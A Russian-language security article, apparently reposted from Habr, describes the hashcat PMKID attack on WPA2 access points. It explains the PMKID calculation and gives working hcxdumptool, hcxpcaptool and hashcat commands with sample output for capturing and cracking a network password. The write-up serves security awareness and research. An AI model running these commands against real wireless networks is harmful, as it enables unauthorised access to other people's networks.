Новая техника атаки WPA2, не требующая наличия клиента на AP

Новая техника атаки WPA2, не требующая наличия клиента на AP

habr.com


Участниками проекта hashcat обнаружен новый вектор атаки на беспроводной стандарт WPA2, не требующий классического перехвата "рукопожатия" между клиентом и точкой доступа. Данная уязвимость выявлена в рамках исследования потенциальных проблем безопасности нового протокола WPA3.

Основное отличие от существующих атак заключается в том, что в этой атаке захват полного 4-стороннего рукопожатия EAPOL не требуется. Новая атака выполняется в RSN IE (Robust Security Network Information Element), и для ее успешного воспроизведения достаточно одного кадра EAPOL.

В настоящее время не известно, для какого количества маршрутизаторов этот метод будет работать, — вероятнее всего, для всех существующих сетей 802.11i /p/q/r с включенными функциями роуминга, а это большинство современных маршрутизаторов.

Основные особенности новой атаки:

  • нет необходимости ждать клиентов — атакуется напрямую AP;
  • нет необходимости ждать полного 4-стороннего «рукопожатия» между клиентом и AP;
  • отсутствие ретрансмиссии кадров EAPOL;
  • исключает вероятность захвата неверных паролей от клиента;
  • исключены потери кадров EAPOL при отдалении/потери связи с клиентом;
  • высокая скорость, обусловленная отсутствием необходимости фиксировать значения nonce и replaycounter;
  • нет необходимости в специализированном формате выходных данных (pcap, hccapx и т. д.) — захваченные данные хранятся в виде hex-строки.

Детали атаки

RSN IE — это необязательное поле, которое можно найти в рамках управления 802.11. Одной из возможностей RSN является PMKID.

PMKID вычисляется с использованием HMAC-SHA1, где ключ является PMK, а часть данных представляет собой конкатенацию фиксированной строковой метки «PMK Name», MAC-адрес точки доступа и MAC-адрес станции.

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Поскольку PMK такой же, как в обычном четырехстороннем рукопожатии EAPOL, это идеальный вектор атаки. Мы получаем все необходимые данные в первом кадре EAPOL из AP.

Для атаки потребуются следующие инструменты (актуальные версии):

Запускаем hcxdumptool для "снятия" PMKID:

$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

Об успешном завершении атаки (средняя продолжительность 10 минут) уведомит надпись FOUND PMKID:

[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

После чего необходимо сконвертировать полученные данные:

$ ./hcxpcaptool -z test.16800 test.pcapng
start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800

которые после конвертации примут следующий вид:

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

представляющие из себя hex-значения следующих типов данных:

PMKID*MAC AP*MAC Station*ESSID

Далее остается "скормить" полученные результаты утилите hashcat (да, без брута пока никуда) и ждать результат:

$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

Данная техника значительно упрощает и ускоряет атаку на большинство беспроводных устройств благодаря меньшему количеству факторов влияния.

P.S.: эта уязвимость в большей степени затрагивает домашние/SOHO-устройства, в корпоративном сегменте, как правило, используется более надежный MGT WPA2 Enterprise с RADIUS-ключами.

Центр информационной безопасности, "Инфосистемы Джет"

Source habr.com